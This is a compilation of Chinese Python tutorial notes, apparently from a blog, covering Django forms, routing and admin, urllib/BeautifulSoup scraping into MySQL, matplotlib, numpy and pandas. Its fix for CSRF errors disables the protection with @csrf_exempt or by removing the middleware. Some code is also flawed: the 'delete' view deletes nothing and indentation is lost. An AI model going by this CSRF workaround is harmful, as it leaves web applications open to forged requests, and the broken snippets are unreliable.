email=req.POST.get("email",None)
info={"username":username,"sex":sex,"email":email}
info_list.append(info)
return render(req,"userInfor.html",{"info_list":info_list})
dos下运行python manage.py runserver 8000
http://localhost:8000/userInfor/
在使用Django提交Post表单时遇到如下错误:
Forbidden (403)
CSRF verification failed. Request aborted.
解决方法:
1、在表单Form里加上{% csrf_token %}
<form action="/index/" method="post">
{% csrf_token %}
......
2、在Settings里的MIDDLEWARE增加配置:(一般默认就有)
'django.middleware.csrf.CsrfViewMiddleware',
我的版本是Django2.0.3,如果是以前版本,则为MIDDLEWARE_CLASSES配置。
3.在views中的方法上面加上@csrf_exempt(记得引入包)注解
from django.views.decorators.csrf import csrf_exempt
@csrf_exempt
def userInfor(req):
.............
另一种办法就是直接注释掉settings.py >MIDDLEWARE>'django.middleware.csrf.CsrfViewMiddleware',
5.提交数据至数据库,并在后台管理操作¶
5.1原版¶
# 首先创建django项目,其项目目录如下:
exa
---dbreq
---migrations
---__init__.py
---admin.py
---apps.pyy
---models.py
---tests.py
---views.py
---exa
---__init__.py
---settings.py
---urls.py
---wsgi.py
---templates
---userInfor.html
---db.sqlites
---manage.py
/templates/userInfor.html
<h1>创建个人信息</h1>
<form action="/userInfor/" method="post">
{% csrf_token %}
<p>姓名<input type="text" name="username"></p>
<p>性别<input type="text" name="sex"></p>
<p>邮箱<input type="text" name="email"></p>
<p><input type="submit" value="submit"></p>
</form>
<hr>
<h1>信息展示</h1>
<table border="1">
<tr>
<td>姓名</td>
<td>性别</td>
<td>邮箱</td>
</tr>
{% for i in info_list %}
<tr>
<td>{{ i.username }}</td>
<td>{{ i.sex }}</td>
<td>{{ i.email }}</td>
</tr>
{% endfor %}
</table>
/exa/urls.py
# 添加以下代码
path('userInfor/', views.userInfor),
/dbreq/views.py
from django.shortcuts import render
from dbreq import models
from django.views.decorators.csrf import csrf_exempt
# Create your views here.
@csrf_exempt
def userInfor(req):
if req.method == "POST":
u = req.POST.get("username", None)
s = req.POST.get("sex", None)
e = req.POST.get("email", None)
info={"username":u,"sex":s,"email":e}
models.UserInfor.objects.create(**info)
info_list=models.UserInfor.objects.all()
return render(req, "userInfor.html", {"info_list":info_list})
return render(req, "userInfor.html")
models.py
# 创建数据库
from django.db import models
# Create your models here.
class UserInfor(models.Model):
username=models.CharField(max_length=64)
sex=models.CharField(max_length=64)
email=models.CharField(max_length=64)
以上.py文件写完后,生成表
# 生成相应的表:
python manage.py makemigrations
python manage.py migrate
为项目后台数据库设置账户
python manage.py createsuperuser
此时运行python manage.py runserver
8088,然后http://localhost:8088/admin
登录账户后,会发现无表,此时需要对admin.py进行修改
# admin.py
from django.contrib import admin
# Register your models here.
from dbreq import models
# 把models创建的表添加到admin后台中
admin.site.register(models.UserInfor)
此时后台如下界面: >此时进行增加数据操作
http://127.0.0.1:8000/userInfor/
页面创建表,后台实时更新成功,如图!


5.2更新版¶
更新内容
1.数据库后台修改了一行数据并添加了一行;
2.增加show页面,将原先提交的数据可在另一个页面访问到
3.删除数据并呈现操作
4.更新数据并呈现数据
urls.py
path('show/', views.show),
views.py
def show(req):
info_list=models.UserInfor.objects.all() # 取出该表所有数据
return render(req,'show.html',{'info_list':info_list})
show.html
<table border="1">
<thead>
<tr>
<td>姓名</td>
<td>性别</td>
<td>邮箱</td>
</tr>
</thead>
<tbody>
{% for i in info_list %}
<tr>
<td>{{ i.username }}</td>
<td>{{ i.sex }}</td>
<td>{{ i.email }}</td>
</tr>
{% endfor %}
</tbody>
</table>
python manage.py runserver

urls.py
path('delData/', views.delData),
views.py
# 删除操作
@csrf_exempt
def delData(req):
# 删除数据
info_list = models.UserInfor.objects.filter(username='哈哈哈')
return render(req, "show.html", {"info_list": info_list})
python manage.py runserver

urls.py
path('updateData/', views.updateData),
views.py
# 修改操作
@csrf_exempt
def updateData(req):
models.UserInfor.objects.filter(username='哈哈哈').update(sex='女',email='yixiugai@163.com')
info_list = models.UserInfor.objects.all()
return render(req,"show.html",{"info_list":info_list})
python manage.py runserver


Python Web之Django-urls¶
1.将statics文件放在应用文件夹下:¶
STATICFILES_DIRS=(
# os.path.join(BASE_DIR, 'blog/statics'),
os.path.join(BASE_DIR, 'blog','statics'),
)
2.无命名分组¶
urls.py
from django.contrib import admin
from django.conf.urls import url
from blog import views
'''
r 开头的python字符串是 raw 字符串,所以里面的所有字符都不会被转义,
比如r'\n'这个字符串就是一个反斜杆加上一字母n,而'\n'我们知道这是个换行符。
因此,上面的'\\\\'你也可以写成r'\\',这样,应该就好理解很多了。可以看下面这段:
'''
urlpatterns = [
url(r'admin/',admin.site.urls),
# r代表raw string,()代表分组,\d代表数字,{4}代表重复4次,后面同理。例如article/2018/02 通过分组(),将相应的2018传给相应视图函数的参数year,02传给相应试图的month。
url(r'article/(\d{4})/(\d{2})',views.article_year),
]
views.py
def article_year(request,y,m):
return HttpResponse("year:%s month:%s"%(y,m))
3.有命名分组¶
urls.py
from django.contrib import admin
from django.conf.urls import url
from blog import views
urlpatterns = [
url(r'admin/',admin.site.urls),
url(r'show_time/',views.show_time),
# 无命名分组
# 访问 http://127.0.0.1:8088/article/2018/02 year:2018 我是想进入2018/02,最后页面返回year:2018 month:02,可却返回了year:2018
# 原因:article/2018/02前面的article/2018全部匹配上了,就直接进入了article_year视图,不会进入下面的article_year_month。此时正则匹配出加一个$,表示结尾,此时就不会出现上述情况了。
# url(r'article/(\d{4})',views.article_year),
url(r'article/(\d{4})$',views.article_year),
# 有命名分组
# ?P没有正则意义,只是代表要起一个命名分组
url(r'article/(?P<year>\d{4})/(?P<month>\d{2})', views.article_year_month),
]
views.py
# 无命名分组 y可随意
def article_year(request,y):
return HttpResponse("year:%s"%(y))
# 有命名分组 year month 是定死的,根据前面urls中来定
def article_year_month(request,year,month):
return HttpResponse("year:%s month:%s"%(year,month))
4.别名及注册,get/post如何获取信息¶
别名使用:
1.urls.py中添加别名name='reg'
2.修改form表单的action属性值action="{% url 'reg' %}
urls.py
url(r'register',views.register,name='reg'),
views.py
def register(request):
if request.method=='POST':
print(request.POST.get('user'))
return HttpResponse('success!')
return render(request,'register.html')
register.html
<h1>学生注册</h1>
<hr/>
<form action="{% url 'reg' %}" method="post">
<p>姓名<input type="text" name="user"/></p>
<p>年龄<input type="text" name="age"/></p>
<p>爱好
<input type="checkbox" name="hobby" value="1"/>篮球
<input type="checkbox" name="hobby" value="2"/>足球
<input type="checkbox" name="hobby" value="3"/>乒乓球
</p>
<p><input type="submit"></p>
</form>
5.路由分发¶
1.在blog应用里面新建一个urls.py
------urls.py-------
from django.contrib import admin
from django.conf.urls import url,include
from blog import views
urlpatterns=[
# 无命名分组
# 访问 http://127.0.0.1:8088/article/2018/02 year:2018 我是想进入2018/02,最后页面返回year:2018 month:02,可却返回了year:2018
# 原因:article/2018/02前面的article/2018全部匹配上了,就直接进入了article_year视图,不会进入下面的article_year_month。此时正则匹配出加一个$,表示结尾,此时就不会出现上述情况了。
# url(r'article/(\d{4})',views.article_year),
url(r'article/(\d{4})$', views.article_year),
# 有命名分组
# ?P没有正则意义,只是代表要起一个命名分组
url(r'article/(?P<year>\d{4})/(?P<month>\d{2})', views.article_year_month),
url(r'register', views.register, name='reg'),
]
2.在全局urls.py里面写入url(r'blog/',include('blog.urls'))
------全局urls.py-------
from django.contrib import admin
from django.conf.urls import url,include
from blog import views
urlpatterns = [
url(r'admin/',admin.site.urls),
url(r'show_time/',views.show_time),
# 路由分发
url(r'blog/',include('blog.urls')),
]
3.必须加上blog才可访问到,访问:http://127.0.0.1:8088/blog/register
Python Web之Django-views¶
1.http请求两个核心对象:¶
http请求:HttpRequest对象
http响应:HttpResponse对象
这两个对象在django.http中
之前views中的request就是HttpRequest
2.HttpRequest对象的属性和方法:¶
path:请求页面的全路径,不包含域名
method:请求中使用的HTTP方法的字符串表示。全大写表示。
req.method=='GET'
req.method==POST''
GET: 包含所有HTTP GET参数的类字典对象
POST: 包含所有HTTP POST参数的类字典对象
服务器收到空的POST请求的情况也是可能发生的,也就是说,表单form通过HTTP POST方法提交请求,但是表单中可能没有数据,因此不能使用if req.POST来判断是否使用了HTTP POST 方法;应该使用 if req.method=="POST"
#方法
get_full_path(), 比如:http://127.0.0.1:8000/index/?name=123 ,req.get_full_path()得到的结果就是/index?name=123
req.path:/index
request.POST.getlist('')
3.HttpResponse对象¶
对于HttpRequest对象来说,是由django自动创建的,但是,HttpResponse对象就必须我们自己创建。每个view请求处理方法必须返回一个HttpResponse对象。
页面渲染: render()(推荐)<br> render_to_response(),
页面跳转: redirect("路径")
locals(): 可以直接将函数中所有的变量传给模板
例如:
def register(request):
t=time.ctime()
name='xi'
render(request,'register.html',locals())
此处locals()便可以将所有的局部变量传给模板
render和redirect的区别:
render:只会返回页面内容,但是未发送第二次请求(页面内容更新,但浏览器上面链接不变,再刷新后又回到原来页面)
redirect:发挥了第二次请求,url更新

Python爬虫之英文维基百科词条获取¶
一、Python 爬虫学习¶
1.get方式¶
简单
# 导入urllib库的request模块
from urllib import request
# 定义url
url='http://www.baidu.com'
# 请求url
resp=request.urlopen(url)
# 使用响应对象输出数据
# resp此时是http.client中HTTPResponse对象
print(resp)
# 以bytes输出client中HTTPResponse对象对象的内容
print(resp.read())
# 转为str类型(以utf-8编码输出)
print(resp.read().decode("utf-8"))
携带User-Agent头
# 导入urllib库的request模块
from urllib import request
# 定义url
url='http://www.baidu.com'
# 模拟真实浏览器
# 携带User-Agent头
req=request.Request(url)
# req.add_header(key,value)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36')
resp=request.urlopen(req)
print(resp.read().decode("utf-8"))
2.post方式¶
# 导入urllib库下面的parse
from urllib import parse
from urllib import request
# 定义url
url='http://www.thsrc.com.tw/tw/TimeTable/SearchResult'
# 携带User-Agent头
req=request.Request(url)
# 使用urlencode生成post数据
postData=parse.urlencode([
('StartStation','e6e26e66-7dc1-458f-b2f3-71ce65fdc95f'),
('EndStation','fbd828d8-b1da-4b06-a3bd-680cdca4d2cd'),
('SearchDate','2018/05/22'),
('SearchWay','2018/DepartureInMandarin/22')
]
)
req.add_header('Origin','[{"key":"Origin","value":"http://www.thsrc.com.tw","description":""}]')
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36')
# 使用postData发送post请求,注意此处postData可以是bytes类型,可迭代bytes对象,或者文件对象,但不能是str类型,故需要通过postData.encode('utf-8'),str转bytes
resp=request.urlopen(req,data=postData.encode('utf-8'))
# 打印请求状态
print(resp.status)
# 打印服务器的类型
print(resp.reason)
# 转为str类型(以utf-8编码输出)
print(resp.read().decode("utf-8"))
3.谷歌应用商店安装Postman¶

4.BeautifulSoup快速学习¶
from bs4 import BeautifulSoup as bs
import re
html_doc = """
<html><head><title>The Dormouse's story</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>
<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>
<p class="story">...</p>
"""
# 不加解析器就报错,提供四种解析器,参考:https://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html
soup=bs(html_doc,"html.parser")
print(soup.prettify())
# 打印出第一个title标签
print("------------")
print(soup.title)
# 打印出标签内容
print("------------")
print(soup.title.string)
# 打印出标签名字
print("------------")
print(soup.title.name)
# 打印出第一个p标签
print("------------")
print(soup.p)
# 打印出p标签class属性的值,并以列表存储
print("------------")
print(soup.p['class'])
# 打印出所有的a标签,并以列表存储
print("------------")
print(soup.find_all('a'))
# 打印出id="link3"的标签
print("------------")
print(soup.find(id="link3"))
# 打印出所有a标签的链接
print("------------")
for link in soup.find_all('a'):
print(link.get('href'))
# 打印出文档中所有文字内容
print("------------")
print(soup.get_text())
# 打印出id="link3"的标签的内容
print("------------")
print(soup.find(id="link3").get_text())
# 打印出所有a标签的所有内容
print("------------")
# print(soup.findAll('a').get_text()) 报错!
# 正确方法如下
for content in soup.find_all('a'):
print(content.string)
# 查找class对应的标签
# 在python中class为关键字,不能使用同id查找那样,正确方法如下
print("------------")
print(soup.find('p',{'class','story'}))
# 打印出上述内容
print(soup.find('p',{'class','story'}).get_text()) # None
'''
为什么上述为None,而print(soup.title.string),内容不为None,而是可以直接打印:The Dormouse's story?
从<title>The Dormouse's story</title>中知道title没有内部嵌入标签,如果改为<title>The Dormouse's story<a>hello</a></title>
则报错。这也正式string为None的原因,此时可以用get_text()
'''
# 正则表达式
for tag in soup.find_all(re.compile('^b')):
print(tag.name) # body b
soup.find_all()
# 找出所有含有href的a标签
a=soup.findAll('a',href=re.compile(r'^http://example.com/'))
print(a)
5.爬虫数据存储至MySql¶
# 引入开发包
import pymysql.cursors
# 获取数据库链接
connection=pymysql.connect(host='localhost',user='root',password='xxxx',db='xxx',charset='utf8mb4')
# 获取会话指针
new_cursor=connection.cursor()
# 执行SQL语句
sql=""
new_cursor.execute(sql,('参数1','参数n'))
# 提交
connection.commit()
# 关闭
connection.close()
# 读取mysql数据
# 得到总纪录数
new_cursor.execute()
# 查询下一行
new_cursor.fetchone()
# 得到指定大小
new_cursor.fetchmany(size=None)
# 得到全部
new_cursor.fetchall()
# 关闭
connection.close()
二、实战维基百科数据获取¶
import pymysql
from urllib import request
#导入bs4模块
from bs4 import BeautifulSoup as sp
#引用re方法
import re
# 维基百科url
url = "https://en.wikipedia.org/wiki/Main_Page"
#在浏览器下获取他们的headers信息
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36'
,'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
req = request.Request(url, headers=header)
#打开并读取url内信息
html = request.urlopen(req).read()
#利用bs4库解析html
soup = sp(html,"html.parser")
listUrls=soup.findAll('a',href=re.compile(r'^/wiki/'))
for url in listUrls:
# 过滤掉以.jpg|JPG结尾的词条地址
if not re.search(r"(.jpg|JPG)",url['href']):
# 输出词条名字与词条地址
print(url.get_text(),"<-------->",'https://en.wikipedia.org'+url['href'])
三、数据持久化之MySql¶

import pymysql.cursors
from urllib import request
#导入bs4模块
from bs4 import BeautifulSoup as sp
#引用re方法
import re
# 维基百科url
url = "https://en.wikipedia.org/wiki/Main_Page"
#在浏览器下获取他们的headers信息
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36'
,'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
req = request.Request(url, headers=header)
#打开并读取url内信息
html = request.urlopen(req).read()
#利用bs4库解析html
soup = sp(html,"html.parser")
listUrls=soup.findAll('a',href=re.compile(r'^/wiki/'))
for url in listUrls:
# 过滤掉以.jpg|JPG结尾的词条地址
if not re.search(r"(.jpg|JPG)",url['href']):
# 输出词条名字与词条地址
print(url.get_text(),"<-------->",'https://en.wikipedia.org'+url['href'])
connection = pymysql.connect(host='localhost', user='root', password='xxxx', db='wikiurl', charset='utf8mb4')
try:
# 通过with实现把connection.cursor()返回得到cursor对象
with connection.cursor() as cursor:
# 创建sql语句
sql="insert into `urls`(`urlname`,`urlhref`)values(%s,%s)"
# 执行sql语句
cursor.execute(sql,(url.get_text(),'https://en.wikipedia.org'+url['href']))
connection.commit()
finally:
connection.close()

matplotlib学习之基本使用¶
1.figure学习¶
导包
import matplotlib.pyplot as plt
import numpy as np
产生-3到3之间50个点
x=np.linspace(-3,3,50)
定义函数
y1=2*x+1
y2=x**2
绘制直线
plt.figure()
plt.plot(x,y1)
曲线与直线绘制一块
# num=3表示图片上方标题 变为figure3,figsize=(长,宽)设置figure大小
plt.figure(num=3,figsize=(8,5))
plt.plot(x,y2)
# 红色虚线直线宽度默认1.0
plt.plot(x,y1,color='red',linewidth=1.0,linestyle='--')
plt.show()

2.设置坐标轴¶
设置x轴范围
plt.xlim((-1,2))
设置轴y范围
plt.ylim((-2,3))
设置坐标轴含义
# 注:英文直接写,中文需要后面加上fontproperties属性
plt.xlabel(u'价格',fontproperties='SimHei')
plt.ylabel(u'利润',fontproperties='SimHei')
设置x轴刻度
# -1到2区间,5个点,4个区间,平均分:[-1.,-0.25,0.5,1.25,2.]
new_ticks=np.linspace(-1,2,5)
print(new_ticks)
plt.xticks(new_ticks)
设置y轴刻度
'''
设置对应坐标用汉字或英文表示,后面的属性fontproperties表示中文可见,不乱码,
内部英文$$表示将英文括起来,r表示正则匹配,通过这个方式将其变为好看的字体
如果要显示特殊字符,比如阿尔法,则用转意符\alpha,前面的\ 表示空格转意
'''
plt.yticks([-2,-1.8,-1,1.22,3.],
['非常糟糕','糟糕',r'$good\ \alpha$',r'$really\ good$','超级好'],fontproperties='SimHei')

设置边框/坐标轴
gca='get current axis/获取当前轴线'
ax=plt.gca()
# spines就是脊梁,即四个边框
# 取消右边与上边轴
ax.spines['right'].set_color('none')
ax.spines['top'].set_color('none')
matlibplot并没有设置默认的x轴与y轴方向,下面就开始设置默认轴
ax.xaxis.set_ticks_position('bottom')
ax.yaxis.set_ticks_position('left')
设置坐标原点
# 实现将(0,-1)设为坐标原点
# 设置y轴上-1为坐标原点的y点,把x轴放置再-1处
ax.spines['bottom'].set_position(('data',-1)) # 也可以是('axes',0.1)后面是百分比,相当于定位到10%处
# 设置x轴上0为坐标原点的x点,将y轴移置0处
ax.spines['left'].set_position(('data',0))
再写一遍以下代码,因为以上使用set\_position后,中文会显示不出来
plt.yticks([-2,-1.8,-1,1.22,3.],
['非常糟糕','糟糕',r'$good\ \alpha$',r'$really\ good$','超级好'],fontproperties='SimHei')
显示图片
plt.show()

3.Legend 图例¶
解释见1
import matplotlib.pyplot as plt
import numpy as np
x=np.linspace(-3,3,50)
y1=2*x+1
y2=x**2
# 绘制直线
plt.figure()
plt.plot(x,y1)
# 曲线与直线绘制一块
# num=3表示图片上方标题 变为figure3,figsize=(长,宽)设置figure大小
plt.figure(num=3,figsize=(8,5))
# 设置x轴范围
plt.xlim((-1,2))
# 设置轴y范围
plt.ylim((-2,3))
# 设置坐标轴含义
# 注:英文直接写,中文需要后面加上fontproperties属性
plt.xlabel(u'价格',fontproperties='SimHei')
plt.ylabel(u'利润',fontproperties='SimHei')
# -1到2区间,5个点,4个区间,平均分:[-1.,-0.25,0.5,1.25,2.]
new_ticks=np.linspace(-1,2,5)
print(new_ticks)
plt.xticks(new_ticks)
plt.yticks([-2,-1.8,-1,1.22,3.],
['非常糟糕','糟糕',r'$good\ \alpha$',r'$really\ good$','超级好'],fontproperties='SimHei')
设置legend图例
l1,=plt.plot(x,y2) # 可添加label属性,只不过如果这里添加了,下面legend再添加,下面的就会覆盖此处的!
# 红色虚线直线宽度默认1.0
l2,=plt.plot(x,y1,color='red',linewidth=1.0,linestyle='--')
'''
prop={'family':'SimHei','size':15}显示中文
legend(hadles=[,,],labels=[,,],loc='best/upper right/upper left/.../lower right')
handles就是你给他添加legend的线,如果要用handles,则前面的plt.plot,必须用l1,形式(不要忘记逗号)
此处labels会覆盖上述的plt.plot()的label
loc默认是best,给你放在一个合适的位置上,如果你拉伸弹框,位置会跟着变,自动放置合适位置
'''
plt.legend(handles=[l1,l2],prop={'family':'SimHei','size':15},loc='lower right',labels=['直线','曲线'])
绘制
plt.show()

4.Annotation 标注¶
见上述详解
import matplotlib.pyplot as plt
import numpy as np
x=np.linspace(-3,3,20)
y=2*x+1
# 绘制直线
plt.figure(num=1,figsize=(8,5),)
plt.plot(x,y)
# gca='get current axis/获取当前轴线'
ax=plt.gca()
# spines就是脊梁,即四个边框
# 取消右边与上边轴
ax.spines['right'].set_color('none')
ax.spines['top'].set_color('none')
ax.xaxis.set_ticks_position('bottom')
ax.spines['bottom'].set_position(('data',-0)) # 也可以是('axes',0.1)后面是百分比,相当于定位到10%处
ax.yaxis.set_ticks_position('left')
ax.spines['left'].set_position(('data',0))
绘制特定散点
x0=1
y0=2*x0+1
# plot散点图,上述plt.plot(x,y)变为plt.scatter(x,y)绘制出来就是散点图
# s代表大小,b代表blue
plt.scatter(x0,y0,s=50,color='b')
# 把两个点放进去plot一下,画出垂直于x轴的一条线,[x0,x0]表示两个点的x,[0,y0]表示两个点的y
绘制(x0,y0)垂直于x轴的线
# k--表示黑色虚线,k代表黑色,--表示虚线,lw表示线宽
plt.plot([x0,x0],[0,y0],'k--',lw=2.5)
添加注释 annotate
'''
其中参数xycoords='data' 是说基于数据的值来选位置, xytext=(+30, -30) 和 textcoords='offset points'
对于标注位置的描述 和 xy 偏差值, arrowprops是对图中箭头类型的一些设置.
'''
plt.annotate(r'$2x+1=%s$'%y0,xy=(x0,y0),xycoords='data',xytext=(+30,-30),textcoords='offset points',fontsize=16,arrowprops=dict(arrowstyle='->',connectionstyle='arc3,rad=.2'))
添加注释 text
# 其中-3.7, 3,是选取text的位置, 空格需要用到转字符\ ,fontdict设置文本字体.
plt.text(-3.7,3,r'$This\ is\ the\ some\ text.\mu\ \sigma_i\ \alpha_t$',
fontdict={'size':'16','color':'red'})
plt.show()
5.tick能见度¶
参考上面
import matplotlib.pyplot as plt
import numpy as np
x = np.linspace(-3, 3, 50)
y = 0.1*x
plt.figure()
# 设置 zorder 给 plot 在 z 轴方向排序
plt.plot(x, y, linewidth=10, zorder=1)
plt.ylim(-2, 2)
ax = plt.gca()
ax.spines['right'].set_color('none')
ax.spines['top'].set_color('none')
ax.spines['top'].set_color('none')
ax.xaxis.set_ticks_position('bottom')
ax.spines['bottom'].set_position(('data', 0))
ax.yaxis.set_ticks_position('left')
ax.spines['left'].set_position(('data', 0))
调整坐标
# 对被遮挡的图像调节相关透明度,本例中设置 x轴 和 y轴 的刻度数字进行透明度设置
for label in ax.get_xticklabels()+ax.get_yticklabels():
label.set_fontsize(12)
'''
其中label.set_fontsize(12)重新调节字体大小,bbox设置目的内容的透明度相关参,facecolor调节 box 前景色,edgecolor 设置边框, 本处设置边框为无,alpha设置透明度.
'''
# 其中label.set_fontsize(12)重新调节字体大小,bbox设置目的内容的透明度相关参,facecolor调节 box 前景色,edgecolor 设置边框, 本处设置边框为无,alpha设置透明度.
label.set_bbox(dict(facecolor='white',edgecolor='none',alpha=0.7))
绘制
plt.show()

6.参考文章¶
matlibplot绘制各种图形¶
1.散点图¶
code
import matplotlib.pyplot as plt
import numpy as np
n=1024
X=np.random.normal(0,1,n)
Y=np.random.normal(0,1,n)
T=np.arctan2(Y,X) # for color value
plt.scatter(X,Y,s=75,c=T,alpha=0.5)
plt.xlim(-1.5,1.5)
plt.ylim(-1.5,1.5)
plt.xticks(()) # 隐藏x轴内容
plt.yticks(()) # 隐藏y轴内容
plt.show()
output

2.3D图¶
code
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
fig=plt.figure()
ax=Axes3D(fig)
X=np.arange(-4, 4, 0.25)
Y = np.arange(-4, 4, 0.25)
X,Y=np.meshgrid(X,Y)
R=np.sqrt(X**2+Y**2)
# height value
Z=np.sin(R)
# rstride行跨,cstride列跨
ax.plot_surface(X,Y,Z,rstride=1,cstride=1,cmap=plt.get_cmap('rainbow'))
# 投影 offset表示把图形压缩到xoy面,z=-2的位置,zdir换成x,y类似
ax.contourf(X,Y,Z,zdir='z',offset=-2,cmap='rainbow')
ax.set_zlim(-2,2)
plt.show()
output


matlibplot绘制条形图¶
1.内容¶
numpy.ndarray
numpy.random.uniform
zip
bar
绘制
2.详情¶
2.1 np.arange()
¶
np.arange()返回的是numpy.ndarray()
三个参数(first,last,step) last必须提供,默认first从0开始,step为1,
生成的ndarray(),只包含first,不包含last
np.arange(3.0)
Out[6]: array([0., 1., 2.])
np.arange(1,3.0,.5)
Out[7]: array([1. , 1.5, 2. , 2.5])
2.2 numpy.random.uniform()
¶
函数原型:numpy.random.uniform(low,high,size)
功能:从一个均匀分布[low,high)中随机采样,注意定义域是左闭右开,即包含low,不包含high.
参数介绍:
low: 采样下界,float类型,默认值为0;
high: 采样上界,float类型,默认值为1;
size: 输出样本数目,为int或元组(tuple)类型,例如,size=(m,n,k), 则输出m*n*k个样本,缺省时输出1个值。
返回值:ndarray类型,其形状和参数size中描述一致。
这里顺便说下ndarray类型,表示一个N维数组对象,其有一个shape(表维度大小)和dtype(说明数组数据类型的对象),
使用zeros和ones函数可以创建数据全0或全1的数组,原型:
numpy.ones(shape,dtype=None,order='C'),
其中,shape表数组形状(m*n),dtype表类型,order表是以C还是fortran形式存放数据。
2.3 zip()
¶
zip() 函数用于将可迭代的对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的列表。
如果各个迭代器的元素个数不一致,则返回列表长度与最短的对象相同,利用 * 号操作符,可以将元组解压为列表。
zip([iterable, ...])
iterabl -- 一个或多个迭代器;
返回值
返回元组列表.
>>>a = [1,2,3]
>>> b = [4,5,6]
>>> c = [4,5,6,7,8]
>>> zipped = zip(a,b) # 打包为元组的列表
[(1, 4), (2, 5), (3, 6)]
>>> zip(a,c) # 元素个数与最短的列表一致
[(1, 4), (2, 5), (3, 6)]
>>> zip(*zipped) # 与 zip 相反,可理解为解压,返回二维矩阵式
[(1, 2, 3), (4, 5, 6)]
2.4 bar绘制¶
import matplotlib.pyplot as plt
import numpy as np
# 生成n个柱状图
n = 12
X = np.arange(n) # [0,12)范围步长为1的array
'''
print(X)
print(X/float(n))
print(1-X/float(n))
'''
Y1 = (1-X/float(n)) * np.random.uniform(0.5, 1.0, n)
Y2 = (1-X/float(n)) * np.random.uniform(0.5, 1.0, n)
plt.bar(X, +Y1, facecolor='#9999ff', edgecolor='white')
plt.bar(X, -Y2, facecolor='#ff9999', edgecolor='white')
for x,y in zip(X,Y1):
# ha: horizontal alignment
# va: vertical alignment
plt.text(x, y, '%.2f' % y, ha='center', va='bottom')
for x,y in zip(X,Y2):
# ha: horizontal alignment
# va: vertical alignment
plt.text(x, -y, '%.2f' % y, ha='center', va='top')
plt.xlim(-1,n)
plt.xticks(())
plt.ylim(-1.25, 1.25)
plt.yticks(())
plt.show()

Python科学计算Numpy导包及定义数组¶
import numpy as np
A=np.array([1,1,1])
B=np.array([2,2,2])
垂直合并¶
C=np.vstack((A,B))
水平合并¶
'''
[[1 1 1]
[2 2 2]]
'''
D=np.hstack((A,B))
print(C,D) # [1 1 1 2 2 2]
# (3,) (3,) (2, 3) (6,)
# A、B仅仅是一个拥有3项元素的数组(数列)
# C是一个2行3列的矩阵
# D是一个拥有4项元素的数组(数列)
print(A.shape,B.shape,C.shape,D.shape)
增加维度¶
# 前面加了一个维度变成(1,3)
print(A[np.newaxis,:].shape)
# 后面加了一个维度变成(3,1)
print(A[:,np.newaxis].shape)
利用维度对矩阵做转置¶
'''
[[1]
[1]
[1]]
'''
# 将A变为纵向(即类似转置)
print(A[:,np.newaxis])
A=np.array([1,1,1])[:,np.newaxis]
B=np.array([2,2,2])[:,np.newaxis]
# 垂直合并
C=np.vstack((A,B))
'''
# 水平合并
[[1 2]
[1 2]
[1 2]]
(3, 1) (3, 2)
'''
D=np.hstack((A,B))
print(D)
print(A.shape,D.shape)
合并操作¶
需要针对多个矩阵或序列时,可借助concatenate函数,axis=0上下合并,axis=1水平合并
'''
[[1 2 2 1]
[1 2 2 1]
[1 2 2 1]]
'''
C=np.concatenate((A,B,B,A),axis=1)
print(C)
参考文章¶

Numpy中维度问题¶
1.导包¶
import numpy as np
2.创建类似于4行2列的矩阵¶
# 看作4行2列矩阵
X = np.array([[0, 1], [2, 3], [4, 5], [6, 7]])
3.取相应列数据X[:,n]
¶
# X[:,n]
print(X[:,0]) # [0 2 4 6]
4.取相应行数据 X[n,:]
¶
# X[n,:]
print(X[1,:]) # [2,3]
5.取多列数据¶
# X[:, m:n],即取所有数据的第m到n-1列数据,含左不含右
print(X[:,0:1])
'''
[[0]
[2]
[4]
[6]]
'''
6.取多行数据¶
# X[m:n,:],即取所有数据的第m到n-1行数据,含左不含右
print(X[0:2,:])
'''
[[0 1]
[2 3]]
'''
7.参考文章¶
Python3.6+pyecharts实现微信好友的数据分析¶
1.itchat安装及使用¶
# 安装
pip install itchat
# 通过如下命令登陆,即使程序关闭,一定时间内重新开启也可以不用重新扫码。该方法会生成一个静态文件 itchat.pkl ,用于存储登陆的状态
itchat.auto_login(hotReload=True)
# 导出设置
itchat.dump_login_status()
2.pandas安装及使用¶
# 安装
pip install pandas
2.1DataFrame使用¶
# DataFrame使用
DataFrame 是一个表格型的数据结构。它提供有序的列和不同类型的列值。
input:
import pandas as pd
a=pd.DataFrame()
output:
Empty DataFrame
Columns: []
Index: []
# key为列,value为值
input:
data=[{'name':'a','id':1},{'name':'b','id':2}]
da=pd.DataFrame(data)
da
output:
id name
0 1 a
1 2 b
# columns可以指定列顺序,如果加入的列没有,则数据显示为NaN
input:
da=pd.DataFrame(data,columns=['id','name','test'])
da
output:
id name test
0 1 a NaN
1 2 b NaN
# DataFrame支持以字典索引的方式获取数据,还可以以属性的方法获取
input:
da['id']
output:
0 1
1 2
Name: id, dtype: int64
input:
da.name
output:
0 a
1 b
Name: name, dtype: object
# 取多列
input:
da[['id','name']]
output:
id name
0 1 a
1 2 b
# 修改列的值:
input:
da.name='c'
da
output:
id name test
0 1 c NaN
1 2 c NaN
# 修改行的值:
input:
da[:1]=5
da
output:
id name test
0 5 5 5.0
1 2 c NaN
# 修改某一具体数据
input:
da['name'][1]=8
output:
SettingWithCopyWarning:
